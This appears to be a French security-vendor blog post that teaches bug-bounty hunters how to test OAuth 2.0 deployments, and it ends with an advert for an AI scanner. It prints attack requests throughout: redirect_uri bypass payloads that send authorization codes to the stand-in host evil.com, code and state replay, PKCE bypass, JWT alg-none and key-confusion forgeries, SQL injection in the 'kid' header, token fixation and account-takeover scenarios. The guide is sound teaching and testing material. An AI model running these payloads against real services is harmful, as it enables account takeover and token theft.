Les vulnérabilités OAuth 2.0 dominent systématiquement les classements des primes de bug bounty à sévérité critique. Une simple prise de contrôle de compte causée par une mauvaise configuration OAuth peut se propager jusqu'à compromettre entièrement une organisation — et ces failles touchent des applications utilisées par des milliards de personnes.
Comprendre quel flux une cible utilise détermine quelles attaques tester. Le flux Authorization Code (avec PKCE) est le plus sécurisé et le plus répandu. Le flux Implicit (désormais obsolète) présente de nombreuses vulnérabilités. Client Credentials (machine à machine) a sa propre surface d'attaque. À ne jamais utiliser en production : Resource Owner Password Credentials.
Si le serveur d'autorisation valide redirect_uri avec une précision insuffisante, un attaquant peut rediriger le code d'autorisation vers un serveur qu'il contrôle.
# Requête légitime
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com/callback&
response_type=code&state=xyz
# Tentatives d'attaque
# 1. Traversée de répertoire
redirect_uri=https://app.com/callback/../../../evil.com/steal
# 2. Chemin supplémentaire
redirect_uri=https://app.com.evil.com/callback
# 3. Contournement par fragment
redirect_uri=https://app.com/callback%23@evil.com
# 4. Contournement par chaîne de requête
redirect_uri=https://app.com/callback?next=https://evil.com
Le state paramètre empêche les attaques CSRF pendant les flux OAuth. S'il est absent ou prévisible, un attaquant peut forcer des victimes à connecter leur compte à des identités qu'il contrôle — ce qui permet une prise de contrôle de compte.
# Vérifier si state est :
# 1. Présent dans la requête d'autorisation
# 2. Validé lors du callback
# 3. Cryptographiquement aléatoire (non séquentiel/prévisible)
# 4. À usage unique (les state rejoués doivent être rejetés)
# Test : rejouer le même paramètre state
curl -s "https://app.com/oauth/callback?code=VALID_CODE&state=PREVIOUSLY_USED_STATE"
# Devrait retourner : erreur (state déjà utilisé)
# Les codes d'autorisation doivent être à usage unique
# Test : rejouer le code après le premier échange
# Premier usage (légitime)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Second usage (devrait échouer)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Attendu : {"error": "invalid_grant"}
PKCE empêche les attaques par interception du code d'autorisation. Si un serveur qui prend en charge PKCE ne l'impose pas, les clients publics sont vulnérables.
# Start flow WITH PKCE (legitimate)
code_verifier = generate_random_string(64)
code_challenge = base64url(sha256(code_verifier))
GET /authorize?
code_challenge=abc123&
code_challenge_method=S256&...
# Attack: exchange code WITHOUT providing code_verifier
POST /token
grant_type=authorization_code&
code=INTERCEPTED_CODE&
redirect_uri=https://legitimate-app.com/callback
# Missing: code_verifier
# If this succeeds -> PKCE not enforced -> Vulnérabilité critique
# Tentative de rétrogradation de S256 vers plain (moins sécurisé)
GET /authorize?
code_challenge=ACTUAL_CODE_VERIFIER&
code_challenge_method=plain&...
# Si accepté : le serveur utilise peut-être plain au lieu de S256
# Puis échanger avec code_verifier = texte brut original
POST /token
code_verifier=ORIGINAL_PLAIN_TEXT&...
Dans le flux Implicit (obsolète mais encore rencontré), les jetons d'accès placés dans les fragments d'URL (#access_token=...) ne sont pas envoyés dans les en-têtes Referer — mais les jetons placés dans les paramètres de requête (?access_token=...) le sont. Vérifiez toujours comment les jetons apparaissent dans les URL.
# Demander un scope minimal
GET /authorize?scope=read:email&...
# Après avoir obtenu le jeton d'accès, tester des appels API non autorisés
GET /api/user/delete
Authorization: Bearer ACCESS_TOKEN_WITH_READ_SCOPE
# Devrait retourner 403, et non 200
# If access tokens are JWTs, test:
# 1. Algorithm confusion (RS256 -> HS256)
header = {"alg": "HS256", "typ": "JWT"}
# Signer avec la clé publique utilisée comme secret HMAC
# 2. Algorithme none
header = {"alg": "none", "typ": "JWT"}
# Certaines bibliothèques acceptent les jetons non signés
# 3. Injection via kid (si 'kid' est utilisé)
header = {"alg": "HS256", "kid": "' OR 1=1--"}
# Injection SQL dans le paramètre kid
# Outils :
# jwt_tool : python3 jwt_tool.py TOKEN -T (tamper)
# jwt-cracker : pour les secrets faibles
# Test if old refresh tokens are invalidated after rotation
POST /token
grant_type=refresh_token&refresh_token=OLD_REFRESH_TOKEN
# If this returns a new token -> ancien jeton non invalidé
# Un attaquant qui a volé l'ancien refresh token peut toujours obtenir de nouveaux jetons d'accès
Si une victime s'inscrit avec un e-mail/mot de passe (e-mail : victim@gmail.com) et qu'un attaquant peut lier un compte OAuth Google avec le même e-mail pour prendre le contrôle du compte de la victime — sans que Google ne vérifie la propriété — il s'agit d'une prise de contrôle de compte critique. Ce cas est particulièrement fréquent sur les plateformes qui permettent de lier plusieurs fournisseurs d'authentification.
# Scénario d'attaque :
# 1. L'attaquant crée un compte avec victim@example.com (avant que la victime ne s'inscrive)
# 2. L'attaquant lie son fournisseur OAuth à cet e-mail
# 3. Quand la victime s'inscrit plus tard avec OAuth Google en utilisant victim@example.com
# 4. La victime accède au compte pré-créé par l'attaquant (ou l'inverse)
# Test :
# 1. Créer un compte avec l'e-mail de la victime (avant qu'il n'existe)
# 2. Connecter OAuth depuis un e-mail différent
# 3. Essayer d'accéder au futur compte de la victime
# Some implementations allow specifying access_token in request
# or don't properly bind tokens to sessions
# Test: force a known token value
GET /oauth/callback?access_token=KNOWN_VALUE
# If the app accepts and uses this token -> fixation de jeton
# Si une application lie les comptes à l'e-mail (et non au sub) :
# Enregistrer un fournisseur OAuth malveillant avec l'e-mail de la victime comme claim 'email'
# Certains fournisseurs permettent de définir des claims email arbitraires
# Test : créer un fournisseur OAuth personnalisé avec :
{
"sub": "attacker-unique-id",
"email": "victim@example.com",
"email_verified": true
}
# Confidential clients must authenticate with client_secret
# Test if client_secret is optional:
POST /token
grant_type=authorization_code&
code=CODE&
client_id=CONFIDENTIAL_CLIENT_ID&
# Missing: client_secret
# If this works -> authentification du client non appliquée
# Le flux Device (pour les appareils à saisie limitée) peut être détourné pour le phishing
POST /device/code
client_id=LEGITIMATE_CLIENT
# Retourne un user_code que la victime saisit sur verification_uri
# L'attaquant utilise cela pour de l'ingénierie sociale :
# « Entrez le code XXXX-XXXX sur accounts.target.com/activate »
| Type de faille | Plateforme | Impact | Prime |
|---|---|---|---|
| Contournement de redirect_uri | Prise de contrôle de compte | $25,000 | |
| Paramètre state absent | Airbnb | CSRF → ATO | $8,000 |
| Réutilisation de code | Microsoft | Attaque par rejeu | $15,000 |
| Algorithme JWT none | Auth0 | Contournement d'authentification | $10,000 |
| ATO par confusion d'e-mail | Slack | Prise de contrôle de compte | $20,000 |
| PKCE non appliqué | Multiples | Interception de code | $5,000+ |
Le scanner propulsé par l'IA de KENSAI teste automatiquement vos implémentations OAuth pour détecter l'interception de code d'autorisation, le contournement de PKCE, les vulnérabilités de jetons et les scénarios de prise de contrôle de compte.
Lancer le scan gratuit →La sécurité n'est pas une option.
🗡️ L'équipe KENSAI